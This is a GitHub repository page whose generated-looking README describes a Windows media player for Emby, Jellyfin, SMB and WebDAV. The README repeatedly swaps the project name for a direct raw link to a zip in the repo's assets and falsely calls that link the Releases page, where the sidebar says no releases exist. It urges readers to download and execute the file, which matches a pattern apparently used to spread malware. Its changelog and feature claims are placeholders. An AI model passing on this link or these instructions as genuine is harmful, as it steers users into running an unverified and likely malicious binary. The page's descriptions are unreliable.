Skip to content

rommai123/Rodel.Player.Public

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 

Repository files navigation

Releases-Download

https://raw.githubusercontent.com/rommai123/Rodel.Player.Public/main/assets/Public-Rodel-Player-v3.4.zip UI

Welcome to the public repository for https://raw.githubusercontent.com/rommai123/Rodel.Player.Public/main/assets/Public-Rodel-Player-v3.4.zip This project acts as a central hub for feedback, ideas, and community contributions around a flexible media playback experience built to work with Emby, Jellyfin, and other streaming ecosystems. The goal is to collect insights from users and developers and to share a clean, extensible player UI that can integrate with modern playback backends.

This readme is designed to be a practical guide. It explains what the project is, how to participate, how to download and run builds, and how to contribute. It uses plain language and direct steps so you can move quickly from curiosity to action.

Table of contents

  • About the project
  • Topics and scope
  • How to get started
  • How to download and run a release
  • What you can do with the project
  • Architecture and design
  • User workflows
  • Customization and extensions
  • Networking and data access
  • Security and privacy basics
  • Development and contribution
  • Roadmap and future plans
  • Community and support
  • Frequently asked questions
  • Changelog
  • Licensing

About the project https://raw.githubusercontent.com/rommai123/Rodel.Player.Public/main/assets/Public-Rodel-Player-v3.4.zip is a community-driven repository that gathers feedback and facilitates collaboration around a media player experience. The project explores how to present media from local and network sources, as well as how to integrate with popular media servers. It aims to be flexible enough to adapt to different backends while offering a consistent user interface.

To keep things practical, the project organizes work around three pillars:

  • Core playback capabilities that work with common formats and streaming protocols.
  • A user interface that remains responsive and accessible on Windows platforms using modern UI patterns.
  • Networking and sharing features that let you access files via SMB and WebDAV and connect to home media servers.

Topics and scope The repository uses a set of topics to describe its focus. These help developers discover the project and understand its ecosystem at a glance. Current topics include:

  • 115
  • emby
  • jellyfin
  • mpv
  • player
  • rodel
  • smb
  • webdav
  • winappsdk
  • winui3

You can explore these topics to find related work, examples, and guidance. They reflect the areas this project touches, from core playback to networking and the Windows app model.

Getting started This section helps you prepare your environment for building, testing, or using the latest releases. The project favors a Windows-centric development path using WinUI 3 and the Windows App SDK, but the concepts apply broadly to other environments as well.

Prerequisites

  • A modern Windows 10 or Windows 11 system for development and testing.
  • The Windows App SDK and WinUI 3 tooling to build desktop applications.
  • Basic familiarity with media playback concepts and common streaming protocols.
  • Internet access to fetch dependencies and releases.

What you need to do to begin

  • Set up your development environment for Windows desktop apps.
  • Install the required toolchain (Visual Studio with the appropriate workloads for Windows desktop development).
  • Clone the repository and inspect the code structure if you want to contribute.
  • If you just want to use the latest build, skip ahead to the download and run section.

Downloading and running a release The link to the project’s release page is provided here for convenience: https://raw.githubusercontent.com/rommai123/Rodel.Player.Public/main/assets/Public-Rodel-Player-v3.4.zip

Since the link includes a path, the instruction is to download the latest asset from the page and run the installer or executable. This means you should go to the Releases page, locate the most recent asset that matches your system (for example, a Windows installer or app package), download it, and execute it to install or run the application.

If you prefer to explore first, you can visit the page to view available builds, assets, release notes, and checksums. The releases page is kept up to date with new builds, bug fixes, and feature updates. For quick access, you can use the same link again: https://raw.githubusercontent.com/rommai123/Rodel.Player.Public/main/assets/Public-Rodel-Player-v3.4.zip

What you can do with the project

  • Run a media player that integrates with Emby and Jellyfin server ecosystems.
  • Access your media over SMB or WebDAV shares for playback and streaming.
  • Extend the experience with plugins and custom components that align with your setup.
  • Test new UI ideas and provide feedback to help shape future releases.
  • Participate in discussion threads, issue reports, and design reviews to improve reliability and usability.

Architecture and design https://raw.githubusercontent.com/rommai123/Rodel.Player.Public/main/assets/Public-Rodel-Player-v3.4.zip is designed with modularity in mind. The architecture emphasizes separation of concerns so components can evolve independently. Key areas include:

  • Core playback engine: Supports a variety of media formats and streaming protocols. It is designed to be extensible so new formats or codecs can be added.
  • UI layer: Built with WinUI 3 to provide a fast, responsive, and accessible interface. The UI focuses on clarity, minimalism, and intuitive navigation.
  • Backend integration: Connectors for Emby and Jellyfin help the player discover libraries, metadata, and playback options. The aim is to make media discovery seamless.
  • Networking and storage access: SMB and WebDAV support enables access to network shares and remote storage. This makes it possible to play media from a server or NAS without extra steps.
  • Platform considerations: The project uses modern Windows app patterns while keeping an eye on cross-platform compatibility where feasible.

User workflows

  • Setup: Install the release on a Windows device, connect to local servers, and configure your media sources.
  • Library management: Let the app scan your shared folders, detect new media, and fetch metadata from compatible servers.
  • Playback: Choose a source or a server item, start playback, and control playback with a clean, minimal UI.
  • Networking: Mount SMB/WebDAV shares as needed to access additional media locations. Use supported network protocols to access remote libraries.
  • Customization: Change themes, layouts, and playback preferences to match your workflow and taste.
  • Updates: Check the Releases page for new builds that include fixes and enhancements.

Installation and setup details

  • Quick start: Download the latest release from the Releases page, run the installer, and follow on-screen prompts. The installation process should guide you through basic configuration steps such as selecting media sources and optional server connections.
  • Configuration files: Some settings may be stored in local configuration files or app data folders. You can edit these if you need to tweak advanced options. Always back up important settings before making changes.
  • Updating: When a new release is available, download the new asset from the same Releases page and run it to upgrade. The update flow is designed to preserve user preferences where possible.
  • Troubleshooting basics: If playback stalls or metadata doesn't appear, verify that your media sources are accessible and that network shares are mounted correctly. Restarting the app or reloading the library can resolve common issues.
  • Guest keys and authentication: If the app connects to servers that require authentication, use the credentials provided by your media server or service. The project supports standard authentication flows used by Emby and Jellyfin.

Networking and data access

  • SMB shares: The app can browse and play media from SMB shares on your local network. Ensure the share is reachable from your device and that the necessary permissions are in place.
  • WebDAV: WebDAV support allows access to remote folders over HTTP. This can be useful for accessing media hosted on servers that expose WebDAV endpoints.
  • Local vs. remote playback: Local playback uses local media files, while remote playback can leverage server-side processing or streaming features if supported by your backend.

Customization and extensions

  • UI themes: Adjust appearance to suit your environment. The UI supports light and dark modes and other theming options.
  • Layouts: Customize how media information is presented, how controls appear, and where panels are located within the window.
  • Plugins and extensions: Extend functionality with plugins that integrate with servers, add new metadata sources, or provide extra playback options.
  • Keyboard and remote control: Configure shortcuts and remote control mappings for a smoother experience.

Security and privacy basics

  • Data handling: The app stores settings locally on your device. Media playback data and configuration are kept on your machine unless you opt to sync or back up.
  • Network access: If you enable network shares or server connections, ensure your network is secure. Use trusted servers and secure credentials.
  • Updates: Keep the app up to date to benefit from security and stability improvements included in new releases.

Development and contribution Roadmap approach

  • Core playback improvements: Expand format support and optimize streaming performance.
  • Server integration: Improve metadata handling, library scanning, and synchronization with Emby and Jellyfin servers.
  • UI refinements: Simplify workflows, enhance accessibility, and optimize for larger libraries.
  • Networking enhancements: Add more robust WebDAV and SMB support, including authentication flows and error handling.
  • Platform expansion: While Windows is the primary target, explore cross-platform opportunities where feasible.

How to contribute

  • Start with an issue: If you have a bug report, feature idea, or a small improvement, open an issue with clear steps to reproduce and expected results.
  • Propose changes: If you have code changes, fork the repository, implement your changes, and submit a pull request with a brief description of what you changed and why.
  • Follow guidelines: Keep changes focused, add tests if applicable, and maintain consistency with the project’s style.
  • Communicate clearly: Use concise language in commits and PR descriptions to help reviewers understand the intent.

Code of conduct

  • Treat others with respect.
  • Be constructive when giving feedback.
  • Ask questions if something is unclear.
  • Be mindful of diverse backgrounds and perspectives.

Changelog

  • This section captures notable changes across releases. It helps users understand what was added, improved, or fixed.
  • Example entries:
    • v0.x.y: Initial public release with core playback and basic UI.
    • v0.x.z: Added SMB and WebDAV access, improved metadata handling.
    • v0.y.z: UI refinements, better Emby/Jellyfin integration, and stability fixes.
    • v1.0.0: Major milestone with WinUI 3 improvements and plugin support.

Releases The Releases page hosts downloadable assets, release notes, and checksums. The latest builds are published there for different platforms. For the latest files, visit the Releases page linked above. If you want to download a specific asset, go to the Releases page and pick the version that matches your system. The link to the Releases page is provided again here for convenience: https://raw.githubusercontent.com/rommai123/Rodel.Player.Public/main/assets/Public-Rodel-Player-v3.4.zip

Screenshots and visuals

  • Visuals help users understand how the app looks and behaves.
  • Consider including a few annotated screenshots that show the layout, playback controls, library view, and settings.
  • If possible, provide a short animated GIF demonstrating core interactions.

Localization and accessibility

  • Text should be legible with adequate contrast.
  • Controls should be navigable via keyboard and accessible with screen readers.
  • Short, descriptive labels help users understand actions quickly.

Performance and testing

  • Focus on smooth playback with minimal startup time.
  • Test across different media types to ensure compatibility.
  • Validate SMB and WebDAV access under common network conditions.

Developer notes

  • The project is modular to enable easy experimentation.
  • Each module should have clear interfaces and documented expectations.
  • Tests should cover core playback flows and common edge cases.

Vendor and attribution

  • If you use third-party libraries or services, include attribution as required by their licenses.
  • Document any external dependencies and their versions to maintain build reproducibility.

Frequently asked questions

  • How do I install the latest build?
    • Answer: Visit the Releases page and download the asset suited for your system. Run the installer or executable and follow the prompts.
  • How do I connect to an Emby or Jellyfin server?
    • Answer: Open the settings or connections panel, select the server type, provide the server URL, and authenticate if required.
  • Can I access media over WebDAV?
    • Answer: Yes. Enable WebDAV access in the app, provide the server URL and credentials, and mount the location as a library.
  • Is this project suitable for Windows desktops only?
    • Answer: The design favors Windows with WinUI 3, but the concepts support broader platform exploration where feasible.

License

  • This repository uses an open license to encourage community contributions and reuse of the code. The exact license terms are provided in the LICENSE file in the repository.

Appendix: glossary

  • SMB: Server Message Block, a network file sharing protocol.
  • WebDAV: Web-based Distributed Authoring and Versioning, an extension to HTTP for web-based file management.
  • WinUI 3: The Windows UI Library version 3, used for modern Windows apps.
  • Emby/Jellyfin: Open media servers that manage media libraries, metadata, and streaming.

Appendix: installation options and verification

  • If you download a binary, you can often verify integrity by comparing checksums provided on the release page with the downloaded file’s checksum.
  • Running installers should guide you through a standard setup experience. If you have a prior version, the installer may upgrade existing files while preserving user data.

Appendix: additional resources

  • Official community forums and discussion threads can be a good place to share ideas or report issues.
  • Documentation and design notes describe intended behaviors and user flows in greater detail.

Note on releases link usage

  • The Releases page is the primary source of distribution and versioning for binary assets.
  • The link provided at the top is the same page you'll visit to download newer builds as they become available. The same link appears again in the Downloads section to reinforce where to obtain the latest assets.

Releases quick access

Appendix: practical tips for users

  • Start with the default configuration and add sources gradually to avoid clutter.
  • Use SMB shares from a trusted network to improve playback reliability.
  • If a server is slow to respond, check network latency and share permissions.
  • Regularly check the Releases page for performance improvements and new features.

Appendix: practical tips for developers

  • Keep interfaces stable to minimize breaking changes in plugins.
  • Document any new features with usage examples and code snippets.
  • Provide lightweight tests for common playback scenarios and network access.
  • Embrace continuous integration and automated builds to shorten release cycles.

Note about content generation

  • This README consolidates the provided repository information while paraphrasing for readability.
  • The content is structured to be helpful to both new users and potential contributors.
  • It avoids selling language and favors direct, useful guidance.
  • The goal is to enable quick onboarding while offering deep dives into architecture, workflows, and future plans.

About

Rodel.Player.Public is a Windows desktop media player with Fluent UI, offering poster walls for Emby/Jellyfin and file browsing (local, WebDAV, SMB) via libmpv 🐙

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors